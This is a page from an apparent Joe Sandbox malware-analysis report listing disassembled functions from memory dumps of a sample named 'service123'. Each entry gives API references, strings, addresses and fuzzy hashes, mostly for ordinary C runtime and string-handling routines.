Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: strlen$strcmp
String ID: *$basic_string::append
API String ID: 551667898-3732199748
Opcode ID: dd7483201a9171375d4ff23d8f9705440f31dcec113cc03be2539f453066000d
Instruction ID: 2a971a1916a75562ff7843204aecfe1034fd0c81e618641288f4840d003b0446
Opcode Fuzzy Hash: dd7483201a9171375d4ff23d8f9705440f31dcec113cc03be2539f453066000d
Instruction Fuzzy Hash: 89A15770A09611CFDB00EF68C58475EBBF1AF45308F14896DE8989FB45D735E889CB92

Function 002B1E20 Relevance: 12.1, APIs: 8, Instructions: 90COMMON

Download Yara Rule

APIs

signal.MSVCRT ref: 002B1E5F
signal.MSVCRT ref: 002B1EA6
signal.MSVCRT ref: 002B1EBF
signal.MSVCRT ref: 002B1EE6
signal.MSVCRT ref: 002B1F2A

Memory Dump Source

Source File: 00000006.00000002.2555850203.00000000002B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2555812715.00000000002B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555885813.00000000002BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555916276.00000000002BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555942463.00000000002C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_service123.jbxd

Similarity

API ID: signal
String ID:
API String ID: 1946981877-0
Opcode ID: 9c93206a9b9ff56dc668ae3965932506512ac9dc6576ba56aee8bcb1c96dcc7b
Instruction ID: 1668d5f7850b2a6db49d5fa86be29629d55fb5b3643a45ce09d6e60dc9169ea1
Opcode Fuzzy Hash: 9c93206a9b9ff56dc668ae3965932506512ac9dc6576ba56aee8bcb1c96dcc7b
Instruction Fuzzy Hash: B03121704283018AE7206F7484643B976D0BF453E8FA54B19E5E8C72D1CBB9C8B4DB53

Function 002B2B90 Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 404COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 002B2D48
fputc.MSVCRT ref: 002B2DB1
memset.MSVCRT ref: 002B2E6F

Strings

o, xrefs: 002B30D9
0, xrefs: 002B30B3

Memory Dump Source

Source File: 00000006.00000002.2555850203.00000000002B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2555812715.00000000002B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555885813.00000000002BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555916276.00000000002BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555942463.00000000002C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_service123.jbxd

Similarity

API ID: fputc$memset
String ID: 0$o
API String ID: 2944404495-4157579757
Opcode ID: 6d03f4c42d204a333e9a95ed666a4dd54fb1a1c26d87888cf43453a0489bd647
Instruction ID: 1824aaf45f88b720c93a9a72d3f552a90a04dfa8b737be3d4f5f3dc7ea500dfb
Opcode Fuzzy Hash: 6d03f4c42d204a333e9a95ed666a4dd54fb1a1c26d87888cf43453a0489bd647
Instruction Fuzzy Hash: 73F14C72E2021ACFDB14CF68D4846DDBBF1BF88350F198229E855AB345D734E956CB90

Function 6C974560 Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 404COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 6C974718
fputc.MSVCRT ref: 6C974781
memset.MSVCRT ref: 6C97483F

Strings

0, xrefs: 6C974A83
o, xrefs: 6C974AA9

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: fputc$memset
String ID: 0$o
API String ID: 2944404495-4157579757
Opcode ID: 2641226796c1711431869b57668b0beceb0376f378176c42185b010aef96b33c
Instruction ID: 322fcc032db9d59e6f96035474c63e52bf6a66d5426b303409d7d63cf11144b4
Opcode Fuzzy Hash: 2641226796c1711431869b57668b0beceb0376f378176c42185b010aef96b33c
Instruction Fuzzy Hash: 8EF16C71E06218CFDB24CF68D48069DBBF5BF84714F258269E864AB746D734E942CFA0

Function 6CA06EB0 Relevance: 10.7, APIs: 2, Strings: 5, Instructions: 227COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6CA06F2B

Strings

basic_string::_M_create, xrefs: 6CA06F4E, 6CA06FF2
basic_string::_M_construct null not valid, xrefs: 6CA06F42
string::string, xrefs: 6CA07100
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6CA07044, 6CA070A3, 6CA07108
basic_string::basic_string, xrefs: 6CA0703C, 6CA0709B

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_M_construct null not valid$basic_string::_M_create$basic_string::basic_string$string::string
API String ID: 3510742995-4165567116
Opcode ID: a3cd24adcbce42830fbcc711a019ab7db70b4feae3d95b430a3088211d730b47
Instruction ID: 0e4d875366f2359c3fed6776c37f5f97bcfe7b982794e5a61d4481645e0175d2
Opcode Fuzzy Hash: a3cd24adcbce42830fbcc711a019ab7db70b4feae3d95b430a3088211d730b47
Instruction Fuzzy Hash: FD7182B29093508FC3109F2CD58064AFBE4FF99258F59CA5EE8888B715D331D885CB92

Function 6C98B240 Relevance: 10.7, APIs: 6, Strings: 1, Instructions: 185stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9D2880: memset.MSVCRT ref: 6C9D28C5

strcmp.MSVCRT ref: 6C98B2A3
strlen.MSVCRT ref: 6C98B2D1
strlen.MSVCRT ref: 6C98B32F
strlen.MSVCRT ref: 6C98B396
strlen.MSVCRT ref: 6C98B3FB

Part of subcall function 6C9D3440: memcpy.MSVCRT ref: 6C9D349F

strlen.MSVCRT ref: 6C98B43E

Strings

*, xrefs: 6C98B460

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: strlen$memcpymemsetstrcmp
String ID: *
API String ID: 1303273620-163128923
Opcode ID: cdd7846919c285fc66f298d192cace0aee37b1086b9e1cdbabf2527ff77b437e
Instruction ID: ae2f31a20d4ebc7d15ffd0213d09a8f34c0b68d5e4fc14a5b389eed26db0d35d
Opcode Fuzzy Hash: cdd7846919c285fc66f298d192cace0aee37b1086b9e1cdbabf2527ff77b437e
Instruction Fuzzy Hash: C67127B5A06A008FDB00DF69C48865DFBF5EF59318F05846ED9859BB24C735E809CF92

Function 6C96E300 Relevance: 10.6, APIs: 7, Instructions: 120synchronizationCOMMON

Download Yara Rule

APIs

CreateSemaphoreW.KERNEL32 ref: 6C96E42F
WaitForSingleObject.KERNEL32 ref: 6C96E470

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: CreateObjectSemaphoreSingleWait
String ID:
API String ID: 1168595426-0
Opcode ID: b3599ef712dbae623fa35caec84ac2d8d6f6c0387c5643d28d0c5fa6823713af
Instruction ID: c83a65c9328df764baab589f6663f978628bbe126f1e8d61510fd868a2d93a21
Opcode Fuzzy Hash: b3599ef712dbae623fa35caec84ac2d8d6f6c0387c5643d28d0c5fa6823713af
Instruction Fuzzy Hash: 0141FC74746302CFEB089F3AC984B1A7BB4AB46358F14CA18D8548BFC5E735D4468BD2

Function 002B8000 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 002B800C
GetProcAddress.KERNEL32 ref: 002B802C
GetProcAddress.KERNEL32 ref: 002B806B

Strings

___lc_codepage_func, xrefs: 002B8024
msvcrt.dll, xrefs: 002B8005
__lc_codepage, xrefs: 002B8060

Memory Dump Source

Source File: 00000006.00000002.2555850203.00000000002B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2555812715.00000000002B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555885813.00000000002BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555916276.00000000002BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555942463.00000000002C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_service123.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: ___lc_codepage_func$__lc_codepage$msvcrt.dll
API String ID: 667068680-1145701848
Opcode ID: 719f5c704bc43cc0afd2838f97180fbbdfd7a83759f1b9a8fc74d90acda21a22
Instruction ID: 566fe8e9de74c0437d13e22e72a3ac32811f2007caafaef223e5c33f6d763902
Opcode Fuzzy Hash: 719f5c704bc43cc0afd2838f97180fbbdfd7a83759f1b9a8fc74d90acda21a22
Instruction Fuzzy Hash: 66F012B09692118B8700BF7C6D491DA7BE8AA043D0F59493DD849C7211E775D468CBA3

Function 6C97ACC0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 6C97ACCC
GetProcAddress.KERNEL32 ref: 6C97ACEC
GetProcAddress.KERNEL32 ref: 6C97AD2B

Strings

___lc_codepage_func, xrefs: 6C97ACE4
msvcrt.dll, xrefs: 6C97ACC5
__lc_codepage, xrefs: 6C97AD20

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: ___lc_codepage_func$__lc_codepage$msvcrt.dll
API String ID: 667068680-1145701848
Opcode ID: 8314de9d0dc9f6a9aa5efa508ad647631b7c32ae7e97dec76cc6039139c3a95d
Instruction ID: 7c8f57d30c84aa395d604609fba9d8c6c7a11406b0da2d06d39001c81d16099d
Opcode Fuzzy Hash: 8314de9d0dc9f6a9aa5efa508ad647631b7c32ae7e97dec76cc6039139c3a95d
Instruction Fuzzy Hash: 40F06DB1A573019B9B00BF3C9A4620A7FF4AA06215F14953AD845CB741EF70D445CBB3

Function 6CA1EDB8 Relevance: 9.3, APIs: 1, Strings: 5, Instructions: 305stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 6CA1EE20

Strings

n, xrefs: 6CA1F0C9
Invalid special open parenthesis., xrefs: 6CA1F0E7
Unexpected end of regex when in an open parenthesis., xrefs: 6CA1EFDE
}, xrefs: 6CA1F212
Unexpected end of regex when escaping., xrefs: 6CA1EE87

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: strchr
String ID: Invalid special open parenthesis.$Unexpected end of regex when escaping.$Unexpected end of regex when in an open parenthesis.$n$}
API String ID: 2830005266-1614415888
Opcode ID: 2bd1c723d3d09eddb8160ab79c10d252e592785889fa3eeda346ca2d25d50f7e
Instruction ID: c8d7954f32c4654780e0f38bacc126271ab3e66255912e755ce7f123210c8bb0
Opcode Fuzzy Hash: 2bd1c723d3d09eddb8160ab79c10d252e592785889fa3eeda346ca2d25d50f7e
Instruction Fuzzy Hash: 20E1BF7460D3418FD700DF28C588F59B7E1AF85308F0985AEF9988BB52D735D94ACB52

Function 6C971587 Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 414COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C97189F
memcpy.MSVCRT ref: 6C9718DA

Part of subcall function 6C9799D0: memset.MSVCRT ref: 6C979A38

Strings

5, xrefs: 6C971592

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: memcpy$memset
String ID: 5
API String ID: 438689982-2226203566
Opcode ID: 86eeeb0b80f895e1415dcb7042e6196e5698368412377c8d1e2f36d3bfd7a477
Instruction ID: cb35ddeec66380fa494380680faf1a8f962e9be2311c11e101516fffec828ff7
Opcode Fuzzy Hash: 86eeeb0b80f895e1415dcb7042e6196e5698368412377c8d1e2f36d3bfd7a477
Instruction Fuzzy Hash: 0602F175A0A741CFC720CF28C58469ABBE1FF99708F168A2EE8D897710D735E845CB52

Function 6C97C5D0 Relevance: 9.2, APIs: 6, Instructions: 153COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6C97C48F), ref: 6CA3F1E0
abort.MSVCRT(?,?,?,?,?,?,6C97C3DC,?,?,?,?,?,?,6CA3F230), ref: 6CA3F1E8
abort.MSVCRT(?,?,?,?,?,?,6C97C3DC,?,?,?,?,?,?,6CA3F230), ref: 6CA3F1F0
abort.MSVCRT(?,?,?,?,?,?,6C97C3DC,?,?,?,?,?,?,6CA3F230), ref: 6CA3F1F8

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 334eef5e3929b265d1fd3766faec655d657c773b641cdc444518095d2d5633fc
Instruction ID: 19075c8d2499881330753fe01a3668e876ab17a830f49aecc2149f8a4a02b367
Opcode Fuzzy Hash: 334eef5e3929b265d1fd3766faec655d657c773b641cdc444518095d2d5633fc
Instruction Fuzzy Hash: D841597160A2258BC700BF74D8906AEB7E1AF9230CF14A96DD088CBB15DB35D48E8766

Function 6C961020 Relevance: 9.1, APIs: 6, Instructions: 108sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,6C9612C1,?,?,?,?,?,?,6C9613CE), ref: 6C961057
_amsg_exit.MSVCRT ref: 6C961085

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: Sleep_amsg_exit
String ID:
API String ID: 1015461914-0
Opcode ID: 58646516ce17e4454f9ef1221c36dfb3b2645971d054437e8a9d0a15bb6d8b69
Instruction ID: f38b474a86f4f9c32513c140203b96cfe0c1fef4e8409e15622d2ea6af544de8
Opcode Fuzzy Hash: 58646516ce17e4454f9ef1221c36dfb3b2645971d054437e8a9d0a15bb6d8b69
Instruction Fuzzy Hash: C4419D7564A341CBFB00AF1EC58531A77B4EB93388F118929D588CBA80DB36C585DBD2

Function 002B3140 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 307COMMON

Download Yara Rule

Strings

0, xrefs: 002B351A

Memory Dump Source

Source File: 00000006.00000002.2555850203.00000000002B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2555812715.00000000002B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555885813.00000000002BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555916276.00000000002BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2555942463.00000000002C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_service123.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: b7f44bed5e98c31302b644dd295fc2f00e9de18eb8b1f3cb977edb5afe8bbdc7
Instruction ID: a5e7dcad2c8180d6872f98ca9c491f89cd0ee3a686fa760daa6c2f846ececb3b
Opcode Fuzzy Hash: b7f44bed5e98c31302b644dd295fc2f00e9de18eb8b1f3cb977edb5afe8bbdc7
Instruction Fuzzy Hash: B2C14871A242168FDB14CF68C4847DEBBF1AF88394F288169EC49AB345D735ED51CB90

Function 6C974B10 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 307COMMON

Download Yara Rule

Strings

0, xrefs: 6C974EEA

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 01ee27d3e6b27cbd40224fa168bbce7f4ba29b52da1fc57d6801adff2ca0776f
Instruction ID: 2fa05b3316fe89489e1bb8f57afa517ab1264f3fd6202b16420f7113e4b87703
Opcode Fuzzy Hash: 01ee27d3e6b27cbd40224fa168bbce7f4ba29b52da1fc57d6801adff2ca0776f
Instruction Fuzzy Hash: 2CC17C71A06205CFDB10CF68C58079DBBF5BF89314F298269E898AB756D335E841CFA0

Function 6C985920 Relevance: 9.0, APIs: 6, Instructions: 50stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6C985938
strlen.MSVCRT ref: 6C985942
memcpy.MSVCRT ref: 6C98595F
setlocale.MSVCRT ref: 6C985972
wcsftime.MSVCRT ref: 6C985996
setlocale.MSVCRT ref: 6C9859A8

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: setlocale$memcpystrlenwcsftime
String ID:
API String ID: 3412479102-0
Opcode ID: b3365ea696459981baf5b457194c2bb550076051377a1595787c03f8f335a88b
Instruction ID: e6e5a095a7cc4077804906427a2c4bafef34b74a8b120dd81aa77e6536ecd891
Opcode Fuzzy Hash: b3365ea696459981baf5b457194c2bb550076051377a1595787c03f8f335a88b
Instruction Fuzzy Hash: 3C11D6B050A3009FC740AF69C58465EBBE4EFA9714F419C2DE4C887B10EB79D8448B62

Function 6C985680 Relevance: 9.0, APIs: 6, Instructions: 49stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6C985698
strlen.MSVCRT ref: 6C9856A2
memcpy.MSVCRT ref: 6C9856BF
setlocale.MSVCRT ref: 6C9856D2
strftime.MSVCRT ref: 6C9856F6
setlocale.MSVCRT ref: 6C985708

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: setlocale$memcpystrftimestrlen
String ID:
API String ID: 1843691881-0
Opcode ID: a6c8c2cc2fdd11d82c54fe8e4a489eb038451a081cd522946258cd485ac0fae6
Instruction ID: 0453bf39fe29e1632e566c65208b2504a96185122ad6a86f0c7ceb47291f4bb7
Opcode Fuzzy Hash: a6c8c2cc2fdd11d82c54fe8e4a489eb038451a081cd522946258cd485ac0fae6
Instruction Fuzzy Hash: C911E8B450A3009FC340AF69D58475EBBE4EFA5708F419C2DF4C887B41DB78D8448B62

Function 6C9B7130 Relevance: 7.8, APIs: 3, Strings: 2, Instructions: 314COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C9B7276
memchr.MSVCRT ref: 6C9B7292

Part of subcall function 6CA2FD10: setlocale.MSVCRT ref: 6CA2FD25

Strings

-, xrefs: 6C9B7467
., xrefs: 6C9B7287

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: memchrmemcpysetlocale
String ID: -$.
API String ID: 4291329590-3807043784
Opcode ID: 3d10d3b0d6e27a72a8119521237cb2b1f053cef4255dc1cecfbf41de4b781d76
Instruction ID: b9e81dde1eddcaf472c22e068d832612be01e8ad4980277ab58b1ef2f1cc8246
Opcode Fuzzy Hash: 3d10d3b0d6e27a72a8119521237cb2b1f053cef4255dc1cecfbf41de4b781d76
